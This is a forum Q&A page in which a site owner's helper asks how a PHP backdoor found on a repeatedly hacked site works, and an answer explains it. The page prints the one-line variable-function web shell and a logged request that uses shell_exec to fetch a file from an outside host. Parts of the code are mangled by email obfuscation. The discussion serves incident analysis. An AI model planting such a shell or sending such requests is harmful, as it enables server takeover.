Answer the question
In order to leave comments, you need to log in
Backdoor in php - how does it work?
For one sufferer, the site was broken every night, no matter how he restored it from backups, no matter how he updated the scripts. A friend turned to me for help, I warmed up all the scripts for all kinds of shell_exec / eval / base64_decode / preg_replace. * / e - nothing! In the access logs, I found a suspicious call to one of the scripts, looked at it - the first line was a code of the form:
<?=([email protected]$_GET[c]).stripslashes(@$_($_GET[f]))?>
GET /news.php?c=shell_exec&f=fetch%20http://bitrix.metrolux******.ru/upload/to.php
Answer the question
In order to leave comments, you need to log in
print() is not actually a real function (it is a language construct) - that's why you didn't get anything with print.
How does this thing work? Very simple:
[email protected]$_GET[c];
$func($_GET[f]);
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question